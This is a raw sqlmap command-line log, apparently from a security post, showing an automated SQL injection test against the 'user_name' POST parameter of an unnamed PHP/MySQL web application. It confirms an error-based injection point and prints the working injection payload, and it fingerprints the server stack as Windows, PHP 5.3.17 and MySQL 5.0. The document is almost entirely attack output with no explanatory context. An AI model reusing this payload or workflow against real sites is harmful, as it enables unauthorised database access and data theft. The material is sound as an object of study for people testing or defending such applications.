python sqlmap.py -r 123.txt -p user_name _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150803} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user' s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 18:59:45 [18:59:45] [INFO] parsing HTTP request from '123.txt' [18:59:46] [INFO] testing connection to the target URL [18:59:46] [INFO] heuristics detected web page charset 'ascii' you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in futher requests? [Y/n] y [18:59:48] [INFO] testing if the target URL is stable [18:59:49] [INFO] target URL is stable [18:59:49] [WARNING] heuristic (basic) test shows that POST parameter 'user_name' might not be injectable [18:59:49] [INFO] heuristic (XSS) test shows that POST parameter 'user_name' might be vulnerable to XSS attacks [18:59:49] [INFO] testing for SQL injection on POST parameter 'user_name' [18:59:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:59:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:59:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:59:54] [WARNING] reflective value(s) found and filtering out [18:59:54] [INFO] POST parameter 'user_name' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clau se' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y [18:59:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [18:59:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one othe r (potential) technique found [18:59:57] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [18:59:58] [INFO] target URL appears to have 29 columns in query injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y /n] y [19:00:43] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--db ms=mysql') POST parameter 'user_name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y sqlmap identified the following injection point(s) with a total of 141 HTTP(s) requests: --- Parameter: user_name (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: joincode=&sendcode=&user_name=admin') AND (SELECT 9789 FROM(SELECT COUNT(*),CONCAT(0x716b717671,(SELECT (EL T(9789=9789,1))),0x716a6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('oOWl'='oOWl& password=111111 --- [19:00:47] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: PHP 5.3.17 back-end DBMS: MySQL 5.0 [19:00:47] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 4 times [19:00:47] [INFO] fetched data logged to text files under [*] shutting down at 19:00:47 </code>
